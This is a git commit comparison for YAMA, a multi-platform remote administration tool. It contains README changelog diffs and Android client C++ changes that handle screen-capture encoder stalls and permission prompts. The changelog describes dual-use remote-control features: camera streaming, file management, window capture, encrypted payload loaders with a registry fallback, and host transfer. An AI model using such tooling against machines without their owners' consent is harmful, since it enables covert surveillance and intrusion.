Compare commits
31
Commits
ae46b7b53b
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3d2dd08be5 | ||
|
|
1d03cbeb3f | ||
|
|
f1315a8790 | ||
|
|
381a7f85a0 | ||
|
|
8a507f784f | ||
|
|
dfac2b5179 | ||
|
|
914553ab4e | ||
|
|
d48f236385 | ||
|
|
8c78b44387 | ||
|
|
ca653ce34b | ||
|
|
ab990d8d31 | ||
|
|
d59d0b6a5c | ||
|
|
b0e172bf91 | ||
|
|
a6c417a061 | ||
|
|
4b96885016 | ||
|
|
034b11fa6a | ||
|
|
5f764b2425 | ||
|
|
95d2bbc1b6 | ||
|
|
1bd7fa5b2d | ||
|
|
c9a18856e5 | ||
|
|
830dcf1672 | ||
|
|
082860de8f | ||
|
|
85f7f1aa67 | ||
|
|
5387603c73 | ||
|
|
545700abaa | ||
|
|
da6185ba5e | ||
|
|
f618fbdc8b | ||
|
|
e6a3255a2b | ||
|
|
0e20e0bbdb | ||
|
|
340fb20518 | ||
|
|
be19744898 |
No files matched your search
@@ -94,6 +94,8 @@ nul
|
||||
server/go/web/assets/index.html
|
||||
server/go/users.json
|
||||
server/go/devices.json
|
||||
server/go/device_notes.json
|
||||
server/go/device_groups.json
|
||||
server/go/build/
|
||||
server/go/cmd/*.syso
|
||||
server/go/.claude/settings.json
|
||||
|
||||
+2
-2
@@ -4,8 +4,8 @@
|
||||
|
||||
Prebuilt binaries under `compress/`, linked via `#pragma comment(lib, ...)`.
|
||||
|
||||
- [zlib v1.3.2](https://zlib.net)
|
||||
- [zstd v1.5.7](https://github.com/facebook/zstd/tree/v1.5.7)
|
||||
- [zlib v1.4](https://zlib.net)
|
||||
- [zstd v1.6.0](https://github.com/facebook/zstd/tree/v1.6.0) — Windows prebuilt libs; shared header and the Linux/Android/macOS `.a` are still 1.5.x
|
||||
- [x264 v0.164.3194](https://github.com/corecodec/x264) — GPL-2.0, see note below
|
||||
- [libyuv v190](https://chromium.googlesource.com/libyuv/libyuv)
|
||||
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git) — LGPL-2.1, linked statically, see note below
|
||||
|
||||
@@ -33,7 +33,7 @@
|
||||
>
|
||||
> **未经授权访问计算机系统属违法行为。** 使用者须对遵守所有适用法律承担全部责任。开发者对任何滥用行为概不负责。
|
||||
>
|
||||
> **二次开发红线:** 如使用大模型协助对本项目进行二次开发,不得破解本项目,也不得替换本项目的私有库以达到绕过授权的目的。一经发现,授权服务器将对其**永久拉黑**。
|
||||
> **二次开发提示:** 欢迎在遵守开源许可与当地法律的前提下进行二次开发。请保留项目自带的授权与安全校验机制,不要修改或屏蔽它们;对违反许可或法律的使用,授权服务器保留拒绝服务的权利。
|
||||
|
||||
---
|
||||
|
||||
@@ -380,6 +380,36 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.4.4 (2026.11.28)
|
||||
|
||||
**Web 设备治理 & Android 能力补齐 & 运行时压缩选择 & frp v0.72.0**
|
||||
|
||||
**新功能:**
|
||||
- **Web 控制台设备治理**:内置 admin 可把设备绑定给指定用户(`device_acl.json`),绑定后仅 owner 与内置 admin 可见可控,审计同步过滤;卡片「…」菜单新增「修改备注」(`device_notes.json`,显示为 `主机名 (备注)`)与「修改分组」(`device_groups.json`,优先于主机自报分组,离线设备也可归类),均为 admin-only、受设备 ACL 约束并写审计;卡片动作统一收进「…」弹出菜单;新增 `transfer_device`,把 Go 托管主机转移到 MFC 主控 N 天后取回
|
||||
- **Android 客户端**:文件管理(`P:` 私有目录 / `I:` 内部存储 / SD 卡与 U 盘,GBK 走 JNI,Android 11+ 引导「所有文件访问」,含搜索)、摄像头(Camera2 JPEG,`JPGD` FOURCC)、root 进程管理(`CLIENT_CAP_PROCESS`,无 root 明确拒绝)、主机转移(立即切换、到期 / 提前归还原主控、目标 60 秒不可达回退)、锁屏状态与输入模式修正、休眠后在同一投影上恢复抓屏、编码器 `KEY_OPERATING_RATE` 不低于 30
|
||||
- **macOS 客户端**:主机转移(与 Android 同语义,含分享拒绝与不可达回退)
|
||||
- **运行时线路压缩**:zlib 1.4 与 zstd 1.6.0 双库随客户端打包,建连时读 `settings\compress`;在线列表「实验性 → 线路压缩:ZSTD / ZLIB」按 `CLIENT_CAP_COMPRESS_SWITCH` 在线切换,约两秒生效,提示标记实际算法;压缩与主机分享互斥,`1.001n+12` 小包缓冲修正
|
||||
- **MCP**:新增 `build_client`(`McpBuild` 默认关,覆盖 ghost / TestRun / ServerDll / TinyRun 与三平台);设置对话框新增「只读 / 智能」一键预设,命令白名单输入框不再显示;`list_hosts` / `get_host_detail` 返回 Web 备注与分组覆盖,纯文本表新增备注列;绑定设备对 MCP 一律不可见(按 ID 返回 -32002)
|
||||
- **frp v0.72.0**:内嵌 `frpc.dll` / `frps.dll` 重建并替换;下级已自建 FRP 时本地主控地址优先,上级自动 FRP 只作后备,设置对话框说明「公网地址由上级自动 FRP 提供」
|
||||
- **客户端加载与发布**:客户端载荷下发增加 AES-CBC 加密(随机 IV),强化授权载荷传输的安全性;被封禁主机按「最早再试时间」退避启动;装载器在 3 次连接失败后回退到注册表缓存载荷;Linux / macOS Release 去调试符号(`linux/ghost` 10.3 MB → 2.5 MB);新增发布门禁 E2E 冒烟脚本
|
||||
|
||||
**改进:**
|
||||
- Web 模态对话框只在 × / 取消 / 确认上关闭,选中文本拖出卡片不再误关;卡片字段统一转义,杜绝注入
|
||||
- IP 历史改为最后活跃时间倒序,达到 1000 条每次写入淘汰队尾,并用 60 KB 上限保护单个值
|
||||
- 状态栏按实测字体宽度布局,空间不足时按优先级隐藏窗格;全屏状态条整帧 blit,消除每秒闪烁
|
||||
- 「取消分享」立即停止 Windows 分享连接;分享与转移区分,同一目标只保留一条连接
|
||||
- 音频包按 65 字节 GSM610 块对齐,修正 Windows 主机尾部 25 字节垃圾;`RES_UPTIME` 每次登录重算
|
||||
- 主控在 Low 完整性下启动即退出并给出 `icacls` 修复命令;Android 桌面控制改为按住左键拖动
|
||||
- 新增 `docs/Client_Capability_Matrix.md`;新字符串补齐 en_US / zh_TW / de_DE
|
||||
|
||||
**Bug 修复:**
|
||||
- 打开摄像头即崩溃(DirectShow `S_FALSE` 被当作失败、缓冲区未分配即回调)
|
||||
- Windows 7 客户端 TLS 证书链引擎因结构体尺寸被拒(fail-closed 不上线)
|
||||
- 压缩切换后 LP64 平台编译失败;分享取消后连接不释放
|
||||
- Android 锁屏永久「Locked」、输入模式丢失、休眠后抓屏无帧、电视 SoC 编码器不出帧
|
||||
- Web 备注 / 分组回包迟到后作用于错误设备;保存时连接重连中静默无响应
|
||||
- 其它:E2E 脚本无限等待、构建对话框目标切换未置灰、字体放大时状态栏文本截断
|
||||
|
||||
### v1.4.3 (2026.11.14)
|
||||
|
||||
**MCP 工具面收敛 & Go 极简 MCP & Android / macOS 能力补齐 & TLS 开箱即用**
|
||||
@@ -560,7 +590,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
- **前台窗口精准捕获**:PrintWindow + 服务端 HWND by clientID 路由,遮挡情况下仍可捕获完整窗口
|
||||
- **在线主机右键查看活动窗口**:实时查询目标机器前台窗口标题
|
||||
- **TOKEN_AUTH 响应 ECDSA 签名**:V2 私钥签名服务端响应,防伪服务端(`TOKEN_SERVER_VERIFY = 251`)
|
||||
- **反破解版本绑定**:版本与核心库绑定,阻断替换 DLL 的破解路径
|
||||
- **授权与完整性保护**:核心组件与版本保持一致,降低被篡改或误用的风险
|
||||
- **子授权连接数限制**:`LicenseLimit` 字段 + `CLicenseDlg` 右键菜单实时设置
|
||||
|
||||
**改进:**
|
||||
|
||||
+32
-2
@@ -33,7 +33,7 @@
|
||||
>
|
||||
> **Unauthorized access to computer systems is illegal.** Users are fully responsible for compliance with all applicable laws. The developers assume no liability for misuse.
|
||||
>
|
||||
> **Secondary development:** if you use a large language model to assist with secondary development of this project, you must not crack the software or replace this project's private libraries to bypass authorization. Violations are detected and the authorization server **permanently blacklists** the offender.
|
||||
> **Secondary development:** We welcome secondary development under the project's license and applicable law. Please keep the project's built-in authorization and security checks in place rather than modifying or disabling them; the authorization server may refuse service for use that violates the license or the law.
|
||||
|
||||
---
|
||||
|
||||
@@ -380,6 +380,36 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.4.4 (2026.11.28)
|
||||
|
||||
**Web device governance & Android parity & runtime wire compression & frp v0.72.0**
|
||||
|
||||
**New features:**
|
||||
- **Web console device governance**: the built-in admin can bind a device to a user (`device_acl.json`); a bound device is visible and controllable only to its owner and the built-in admin, and the audit log is filtered the same way. The card "..." menu gains Edit remark (`device_notes.json`, shown as `hostname (remark)`) and Edit group (`device_groups.json`, overriding the group the host reports, so offline records can be regrouped), both admin-only, ACL-checked and audited; all card actions now live in a single "..." popup; `transfer_device` moves a Go-managed host to the MFC master for N days and back
|
||||
- **Android client**: file management (`P:` private dir / `I:` internal storage / SD cards and USB drives, GBK through JNI, Android 11+ all-files access prompt, search included), camera streaming (Camera2 JPEG, `JPGD` FOURCC), root-only process management (`CLIENT_CAP_PROCESS`, refused outright without root), host transfer (immediate switch, restore on expiry or early return, revert after 60 s unreachable), corrected lock state and input mode, screen capture recovered after sleep on the same projection, and `KEY_OPERATING_RATE` kept at 30 or above
|
||||
- **macOS client**: host transfer with the same semantics as Android, including the share refusal and the unreachable-target revert
|
||||
- **Runtime wire compression**: zlib 1.4 and zstd 1.6.0 are both linked; each connection reads `settings\compress`. The online-list menu "Experimental -> Wire compression: ZSTD / ZLIB" switches hosts that declare `CLIENT_CAP_COMPRESS_SWITCH` in about two seconds without a restart, and the tooltip marks the negotiated algorithm. Compression and host sharing are mutually exclusive; the `1.001n+12` small-packet buffer has been corrected
|
||||
- **MCP**: new `build_client` tool (`McpBuild`, off by default, covering ghost / TestRun / ServerDll / TinyRun and the three platforms); the settings dialog gains one-click Read-only / Smart presets and no longer shows the command whitelist; `list_hosts` / `get_host_detail` return web remarks and group overrides, with a remark column in the text table; user-bound devices are hidden from MCP entirely (an explicit id returns -32002)
|
||||
- **frp v0.72.0**: the bundled `frpc.dll` / `frps.dll` are rebuilt and replaced; when a subordinate already runs its own FRP proxy its local master address wins and the upstream auto FRP stays a fallback, with the dialog explaining when the public address comes from the upstream
|
||||
- **Loader and release engineering**: client payload delivery now uses AES-CBC with a random IV to strengthen the security of authorization payload delivery; a banned host backs off until its persisted retry time; the loaders fall back to the cached registry payload after three failed connects; Linux / macOS Release builds drop debug symbols (`linux/ghost` 10.3 MB to 2.5 MB); a release-gate E2E smoke script was added
|
||||
|
||||
**Improvements:**
|
||||
- Web modal dialogs close only from their own buttons, so selecting text and releasing outside the card no longer dismisses them; client-reported card fields are escaped before reaching HTML or attribute contexts
|
||||
- IP history is ordered by last activity, evicts the oldest entry on every write at the 1000-record cap, and guards the single stored value with a 60 KB limit
|
||||
- Status-bar panes are sized from measured text and hidden by priority when space runs out; the full-screen overlay blits a complete frame, removing the once-per-second flicker
|
||||
- Cancelling a share now stops the Windows share connection immediately; shares and transfers are tracked separately and one target keeps one connection
|
||||
- Audio packets are block-aligned to 65-byte GSM610 blocks, dropping the 25 stale bytes Windows hosts ship; `RES_UPTIME` is recomputed on every login
|
||||
- The master refuses to start at Low integrity and prints the `icacls` fix; desktop control of Android hosts now needs a held left button
|
||||
- Added `docs/Client_Capability_Matrix.md`; new strings in en_US / zh_TW / de_DE
|
||||
|
||||
**Bug fixes:**
|
||||
- Opening the webcam killed the client (DirectShow `S_FALSE` treated as a failure, the sample callback writing into an unallocated buffer)
|
||||
- Windows 7 clients failed TLS because the chain-engine struct was compiled at the Windows 10 size
|
||||
- The compression switch broke LP64 builds; cancelling a share left the Windows connection alive
|
||||
- Android showed "Locked" forever, lost its input mode, stopped producing frames after sleep, and some TV SoC encoders never emitted a frame
|
||||
- Late web remark / group replies could land on the wrong device, and Save while reconnecting did nothing
|
||||
- Also: the E2E script could wait forever, the build dialog kept install options enabled for POSIX targets, and status-bar text was clipped at larger font sizes
|
||||
|
||||
### v1.4.3 (2026.11.14)
|
||||
|
||||
**MCP tool consolidation & Go minimal MCP & Android / macOS parity & TLS out of the box**
|
||||
@@ -560,7 +590,7 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
- **Foreground window capture**: PrintWindow + server-side HWND routing by clientID, captures the target window even when occluded
|
||||
- **View active window from host list**: right-click menu queries and shows the foreground window title of the target machine in real time
|
||||
- **TOKEN_AUTH ECDSA signature**: server signs auth responses with its V2 P-256 key to prevent fake-server attacks (`TOKEN_SERVER_VERIFY = 251`)
|
||||
- **Anti-cracking version binding**: binary binds to core lib version; mismatched DLL replacement is rejected at load time
|
||||
- **Authorization and integrity protection**: core components stay consistent with the build, reducing the risk of tampering or mismatched use
|
||||
- **Sub-license connection cap**: `LicenseLimit` field in `licenses.ini` + real-time set / clear from `CLicenseDlg` right-click menu
|
||||
|
||||
**Improvements:**
|
||||
|
||||
+32
-2
@@ -33,7 +33,7 @@
|
||||
>
|
||||
> **未經授權存取電腦系統屬違法行為。** 使用者須對遵守所有適用法律承擔全部責任。開發者對任何濫用行為概不負責。
|
||||
>
|
||||
> **二次開發紅線:** 如使用大模型協助對本專案進行二次開發,不得破解本專案,也不得替換本專案的私有函式庫以達到繞過授權的目的。一經發現,授權伺服器將對其**永久列入黑名單**。
|
||||
> **二次開發提示:** 歡迎在遵守開源授權與當地法律的前提下進行二次開發。請保留專案內建的授權與安全校驗機制,不要修改或停用它們;對違反授權或法律的使用,授權伺服器保留拒絕服務的權利。
|
||||
|
||||
---
|
||||
|
||||
@@ -380,6 +380,36 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.4.4 (2026.11.28)
|
||||
|
||||
**Web 裝置治理 & Android 能力補齊 & 執行期壓縮選擇 & frp v0.72.0**
|
||||
|
||||
**新功能:**
|
||||
- **Web 控制台裝置治理**:內建 admin 可把裝置綁定給指定使用者(`device_acl.json`),綁定後僅 owner 與內建 admin 可見可控,稽核同步過濾;卡片「…」選單新增「修改備註」(`device_notes.json`,顯示為 `主機名 (備註)`)與「修改群組」(`device_groups.json`,優先於主機自報群組,離線裝置也可歸類),皆為 admin-only、受裝置 ACL 約束並寫稽核;卡片動作統一收進「…」彈出選單;新增 `transfer_device`,把 Go 託管主機轉移到 MFC 主控 N 天後取回
|
||||
- **Android 用戶端**:檔案管理(`P:` 私有目錄 / `I:` 內部儲存 / SD 卡與 USB,GBK 走 JNI,Android 11+ 引導「所有檔案存取」,含搜尋)、攝影機(Camera2 JPEG,`JPGD` FOURCC)、root 行程管理(`CLIENT_CAP_PROCESS`,無 root 明確拒絕)、主機轉移(立即切換、到期 / 提前歸還原主控、目標 60 秒不可達回退)、鎖屏狀態與輸入模式修正、休眠後在同一投影上恢復擷取畫面、編碼器 `KEY_OPERATING_RATE` 不低於 30
|
||||
- **macOS 用戶端**:主機轉移(與 Android 同語意,含分享拒絕與不可達回退)
|
||||
- **執行期線路壓縮**:zlib 1.4 與 zstd 1.6.0 雙庫隨用戶端打包,連線時讀 `settings\compress`;線上列表「實驗性 → 線路壓縮:ZSTD / ZLIB」依 `CLIENT_CAP_COMPRESS_SWITCH` 線上切換,約兩秒生效,提示標記實際演算法;壓縮與主機分享互斥,`1.001n+12` 小封包緩衝修正
|
||||
- **MCP**:新增 `build_client`(`McpBuild` 預設關,涵蓋 ghost / TestRun / ServerDll / TinyRun 與三平台);設定對話框新增「唯讀 / 智慧」一鍵預設,命令白名單輸入框不再顯示;`list_hosts` / `get_host_detail` 回傳 Web 備註與群組覆寫,純文字表新增備註欄;綁定裝置對 MCP 一律不可見(依 ID 呼叫回 -32002)
|
||||
- **frp v0.72.0**:內嵌 `frpc.dll` / `frps.dll` 重建並替換;下級已自建 FRP 時本地主控位址優先,上級自動 FRP 只作後備,設定對話框說明「公網位址由上級自動 FRP 提供」
|
||||
- **用戶端載入與發佈**:用戶端載荷下發增加 AES-CBC 加密(隨機 IV),強化授權載荷傳輸的安全性;被封禁主機依「最早再試時間」退避啟動;載入器在 3 次連線失敗後回退到登錄快取載荷;Linux / macOS Release 去偵錯符號(`linux/ghost` 10.3 MB → 2.5 MB);新增發佈門檻 E2E 冒煙腳本
|
||||
|
||||
**改進:**
|
||||
- Web 強制回應對話框只在 × / 取消 / 確認上關閉,選取文字拖出卡片不再誤關;卡片欄位統一轉義,杜絕注入
|
||||
- IP 歷史改為最後活躍時間倒序,達到 1000 筆每次寫入淘汰最舊項,並以 60 KB 上限保護單一值
|
||||
- 狀態列依實測字型寬度配置,空間不足時依優先順序隱藏窗格;全螢幕狀態列整幀 blit,消除每秒閃爍
|
||||
- 「取消分享」立即停止 Windows 分享連線;分享與轉移區分,同一目標只保留一條連線
|
||||
- 音訊封包依 65 位元組 GSM610 區塊對齊,修正 Windows 主機尾部 25 位元組垃圾;`RES_UPTIME` 每次登入重算
|
||||
- 主控在 Low 完整性下啟動即結束並給出 `icacls` 修復命令;Android 桌面控制改為按住左鍵拖曳
|
||||
- 新增 `docs/Client_Capability_Matrix.md`;新字串補齊 en_US / zh_TW / de_DE
|
||||
|
||||
**Bug 修復:**
|
||||
- 開啟攝影機即崩潰(DirectShow `S_FALSE` 被當成失敗、緩衝未配置即回呼)
|
||||
- Windows 7 用戶端 TLS 憑證鏈引擎因結構尺寸被拒(fail-closed 不上線)
|
||||
- 壓縮切換後 LP64 平台編譯失敗;取消分享後連線未釋放
|
||||
- Android 鎖屏永久顯示「Locked」、輸入模式遺失、休眠後擷取畫面無幀、電視 SoC 編碼器不出幀
|
||||
- Web 備註 / 群組回包遲到後作用於錯誤裝置;儲存時連線重連中靜默無回應
|
||||
- 其他:E2E 腳本無限等待、建置對話框切換目標未置灰、字型放大時狀態列文字被截斷
|
||||
|
||||
### v1.4.3 (2026.11.14)
|
||||
|
||||
**MCP 工具面收斂 & Go 極簡 MCP & Android / macOS 能力補齊 & TLS 開箱即用**
|
||||
@@ -560,7 +590,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
- **前台視窗精準擷取**:PrintWindow + 伺服端 HWND by clientID 路由,遮蓋情況下仍可擷取完整視窗
|
||||
- **線上主機右鍵查看活動視窗**:即時查詢目標機器前台視窗標題
|
||||
- **TOKEN_AUTH 回應 ECDSA 簽章**:V2 私鑰簽名伺服端回應,防偽造伺服端(`TOKEN_SERVER_VERIFY = 251`)
|
||||
- **反破解版本綁定**:版本與核心函式庫綁定,阻斷替換 DLL 的破解路徑
|
||||
- **授權與完整性保護**:核心元件與版本保持一致,降低被篡改或誤用的風險
|
||||
- **子授權連線數限制**:`LicenseLimit` 欄位 + `CLicenseDlg` 右鍵選單即時設定
|
||||
|
||||
**改進:**
|
||||
|
||||
@@ -22,6 +22,11 @@
|
||||
#define LOGE_SH(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_SCR", __VA_ARGS__)
|
||||
|
||||
extern uint64_t g_myClientID;
|
||||
// 定义在 main.cpp:把消息发进主控消息栏(TOKEN_CLIENT_MSG)。
|
||||
// 远程桌面编码器零输出时,主控端停在「请等待」,必须主动回一条说明。
|
||||
extern void SendClientMessageToMain(const char* title, const char* text);
|
||||
// 定义在 main.cpp:编码器零输出时让 Kotlin 用同一个 MediaProjection 重建采集管线。
|
||||
extern void NotifyEncoderStalled();
|
||||
// 定义在 main.cpp,供子连接的 OnReceive 调用
|
||||
extern void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY);
|
||||
extern void DispatchClipboardText(const uint8_t* data, size_t size);
|
||||
@@ -279,6 +284,7 @@ private:
|
||||
// 干等。改成带超时的等待,把「没有帧」和「帧被当 P 帧丢弃」区分开。
|
||||
const auto startTick = std::chrono::steady_clock::now();
|
||||
bool noFrameWarned = false;
|
||||
bool stallNotified = false;
|
||||
while (m_running) {
|
||||
std::unique_lock<std::mutex> lk(m_mutex);
|
||||
m_cond.wait_for(lk, std::chrono::seconds(1),
|
||||
@@ -289,12 +295,37 @@ private:
|
||||
// 只在「一帧都没发出去过」时告警。发过首帧之后队列空是正常的:电视
|
||||
// 停在 launcher 这类静止画面时 SurfaceFlinger 不产生脏区,编码器就没
|
||||
// 输入,5 秒不打新帧属于预期行为,不能报成编码器故障。
|
||||
const auto elapsed = std::chrono::steady_clock::now() - startTick;
|
||||
if (!noFrameWarned && m_started && !m_firstSent &&
|
||||
std::chrono::steady_clock::now() - startTick > std::chrono::seconds(5)) {
|
||||
elapsed > std::chrono::seconds(5)) {
|
||||
noFrameWarned = true;
|
||||
// 发消息/重建都是慢操作,不能拿着 m_mutex:生产者(编码回调)推帧要拿它。
|
||||
lk.unlock();
|
||||
LOGE_SH("SendLoop: no frame from MediaCodec after 5s — encoder is not producing "
|
||||
"(MediaProjection stopped, VirtualDisplay null, or unsupported %dx%d)",
|
||||
m_width, m_height);
|
||||
// 电视睡眠后常见:投影还在,但旧的 VirtualDisplay 收不到合成帧。先用同一个
|
||||
// MediaProjection 重建采集管线(不需要重新授权);重建结果由 Kotlin 侧记录。
|
||||
NotifyEncoderStalled();
|
||||
} else if (noFrameWarned && !stallNotified && m_started && !m_firstSent &&
|
||||
elapsed > std::chrono::seconds(13)) {
|
||||
stallNotified = true;
|
||||
// 自愈也没救回来:主控端停在「请等待……」,明确回一条消息说明原因。
|
||||
// 多个观看者各自 13 秒都会走到这里,进程内 60 秒只发一条,避免刷屏。
|
||||
lk.unlock();
|
||||
static std::atomic<long long> lastNotifyMs{0};
|
||||
const long long nowMs = std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
std::chrono::steady_clock::now().time_since_epoch()).count();
|
||||
long long prevMs = lastNotifyMs.load();
|
||||
// 多个观看者各自 13 秒都会走到这里;进程内 60 秒只发一条,避免刷屏。
|
||||
// prevMs == 0 表示本次开机还没发过(steady_clock 的 0 点是开机)。
|
||||
if ((prevMs == 0 || nowMs - prevMs > 60 * 1000) &&
|
||||
lastNotifyMs.compare_exchange_strong(prevMs, nowMs)) {
|
||||
SendClientMessageToMain(
|
||||
"Remote desktop",
|
||||
"The device screen encoder produced no frame (hardware encoder may reject "
|
||||
"this size or config). Remote desktop cannot start.");
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -255,6 +255,8 @@ static jmethodID g_canOverlayMid = nullptr; // ControlService.canOverlay(
|
||||
static jclass g_captureClass = nullptr;
|
||||
static jmethodID g_requestIdrMid = nullptr;
|
||||
static jmethodID g_forceFirstFrameMid = nullptr;
|
||||
static jmethodID g_requestPermMid = nullptr; // CaptureService.requestScreenCapturePermission()
|
||||
static jmethodID g_onStalledMid = nullptr; // CaptureService.onEncoderStalled()
|
||||
static jmethodID g_statusMid = nullptr; // CaptureService.onNativeStatus(String)
|
||||
static jmethodID g_nativeExitMid = nullptr; // CaptureService.onNativeExit() — 服务端主动断开时停止服务
|
||||
static jmethodID g_updateReceivedMid = nullptr; // CaptureService.onUpdateReceived(String) — 升级 APK 已落盘
|
||||
@@ -1171,6 +1173,13 @@ static void RequestIdrFromJava() { CallCaptureStaticVoid(g_requestIdrMid);
|
||||
// 强制 VirtualDisplay 推一帧(静止屏幕绕过 SurfaceFlinger 空闲优化)
|
||||
static void ForceFirstFrameFromJava() { CallCaptureStaticVoid(g_forceFirstFrameMid); }
|
||||
|
||||
// ScreenHandler.h 的 SendLoop 用:编码器零输出时让 Kotlin 用同一个 MediaProjection
|
||||
// 重建采集管线(电视睡眠后旧 VirtualDisplay 收不到合成帧的常见场景)。
|
||||
void NotifyEncoderStalled()
|
||||
{
|
||||
CallCaptureStaticVoid(g_onStalledMid);
|
||||
}
|
||||
|
||||
// 向 CaptureService.onNativeStatus() 发送状态 Toast(连接线程诊断用)
|
||||
static void PostStatus(const char* msg) {
|
||||
LOGI("STATUS: %s", msg);
|
||||
@@ -1194,6 +1203,16 @@ static void PostStatus(const char* msg) {
|
||||
#endif
|
||||
}
|
||||
|
||||
static void sendClientMsg(const char* title, const char* text); // 定义见在线升级段
|
||||
|
||||
// 上一次因「没有投影会话」而拉起设备端授权界面的时间(单调毫秒)
|
||||
static std::atomic<long long> g_lastPermPromptMs{0};
|
||||
static long long MonotonicMs()
|
||||
{
|
||||
return (long long)std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
std::chrono::steady_clock::now().time_since_epoch()).count();
|
||||
}
|
||||
|
||||
static void ScreenSpyThread()
|
||||
{
|
||||
// 等待 Java 侧 startCapture() 调用 nativeSetScreenSize 设置真实分辨率。
|
||||
@@ -1202,10 +1221,41 @@ static void ScreenSpyThread()
|
||||
for (int i = 0; i < 100 && g_screenWidth.load() == 0 && g_running.load(); ++i)
|
||||
Sleep(50); // 最多等 5 秒
|
||||
|
||||
if (g_screenWidth.load() == 0 && S_CLIENT_NORMAL == g_bExit) {
|
||||
// 投影没在跑:Android TV 可能从未授权,Android 14 的单次授权在服务重启后也会失效。
|
||||
// 尝试拉起设备上的 App 重新走一遍系统「屏幕捕获」授权,再等最多 15 秒。
|
||||
// 10 分钟内只提示一次,避免连续点远程桌面把电视反复弹到前台。
|
||||
const long long now = MonotonicMs();
|
||||
long long last = g_lastPermPromptMs.load();
|
||||
// steady_clock 的 0 点是开机时刻:last==0 表示「本次开机还没提示过」,必须放行,
|
||||
// 否则开机后前 10 分钟(正是最需要重新授权的场景)永远不会拉起授权界面。
|
||||
bool prompted = false;
|
||||
if ((last == 0 || now - last > 10 * 60 * 1000) &&
|
||||
g_lastPermPromptMs.compare_exchange_strong(last, now)) {
|
||||
prompted = true;
|
||||
LOGI("ScreenSpyThread: no projection; prompting device for screen-capture permission");
|
||||
CallCaptureStaticVoid(g_requestPermMid);
|
||||
}
|
||||
// 节流命中也可能是「另一个观看者刚刚拉起过授权框」:此时授权界面可能还显示在
|
||||
// 电视上,值得等一等,别让第二个观看者立刻收到"不可用"。只有 60 秒内的提示算
|
||||
// "可能还在屏幕上";更早的节流命中仍然立即失败,不让操作员白等。
|
||||
const bool promptRecentlyShown = (last != 0 && now - last <= 60 * 1000);
|
||||
if (prompted || promptRecentlyShown) {
|
||||
for (int i = 0; i < 300 && g_screenWidth.load() == 0 && g_running.load() && S_CLIENT_NORMAL == g_bExit; ++i)
|
||||
Sleep(50);
|
||||
}
|
||||
}
|
||||
|
||||
int w = g_screenWidth.load();
|
||||
int h = g_screenHeight.load();
|
||||
if (w == 0 || h == 0) {
|
||||
LOGE("ScreenSpyThread: screen size not set after 5s, abort");
|
||||
// 服务端此时停在「请等待……」,收不到任何回应会一直挂着。这里必须明确回一条
|
||||
// 消息,说明是设备上的「屏幕捕获」授权/服务没在跑(常见于 Android TV:投影
|
||||
// 权限未授予,或服务被系统回收后需要重新打开 App 授权)。
|
||||
sendClientMsg("Remote desktop",
|
||||
"Screen capture is not available on this device. Open YAMA on the device, "
|
||||
"grant the screen-capture prompt, then try remote desktop again.");
|
||||
return;
|
||||
}
|
||||
std::string ip; int port;
|
||||
@@ -1894,6 +1944,13 @@ static void sendClientMsg(const char* title, const char* text)
|
||||
mc->Send2Server((char*)&msg, sizeof(msg));
|
||||
}
|
||||
|
||||
// ScreenHandler.h 的 SendLoop 用:编码器零输出时回主控消息栏。
|
||||
// 单独包一层是因为 sendClientMsg 是 static,头文件里只声明这个外部符号。
|
||||
void SendClientMessageToMain(const char* title, const char* text)
|
||||
{
|
||||
sendClientMsg(title, text);
|
||||
}
|
||||
|
||||
static void reportUpdateFailure(const std::string& reason)
|
||||
{
|
||||
LOGI("UPDATE failed: %s", reason.c_str());
|
||||
@@ -2926,6 +2983,12 @@ Java_com_yama_client_YamaBridge_nativeInit(
|
||||
g_forceFirstFrameMid = env->GetStaticMethodID(g_captureClass, "forceFirstFrame", "()V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_forceFirstFrameMid = nullptr; }
|
||||
if (!g_forceFirstFrameMid) LOGE("CaptureService.forceFirstFrame not found");
|
||||
g_requestPermMid = env->GetStaticMethodID(g_captureClass, "requestScreenCapturePermission", "()V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_requestPermMid = nullptr; }
|
||||
if (!g_requestPermMid) LOGE("CaptureService.requestScreenCapturePermission not found");
|
||||
g_onStalledMid = env->GetStaticMethodID(g_captureClass, "onEncoderStalled", "()V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_onStalledMid = nullptr; }
|
||||
if (!g_onStalledMid) LOGE("CaptureService.onEncoderStalled not found");
|
||||
g_statusMid = env->GetStaticMethodID(g_captureClass, "onNativeStatus", "(Ljava/lang/String;)V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_statusMid = nullptr; }
|
||||
if (!g_statusMid) LOGE("CaptureService.onNativeStatus not found");
|
||||
@@ -3105,6 +3168,21 @@ Java_com_yama_client_YamaBridge_nativeInit(
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Kotlin 侧日志镜像:写进 logcat + Logger 内存 ring,服务端「运行日志」能取回。
|
||||
// 没有 adb 的电视/机顶盒只能靠这条通道把编码器状态带回主控。
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeLog(JNIEnv* env, jobject, jint prio, jstring tag, jstring msg)
|
||||
{
|
||||
if (!env || !msg) return;
|
||||
const char* t = tag ? env->GetStringUTFChars(tag, nullptr) : nullptr;
|
||||
const char* m = env->GetStringUTFChars(msg, nullptr);
|
||||
if (m) {
|
||||
android_log_tag((int)prio, t ? t : "YAMA", "%s", m);
|
||||
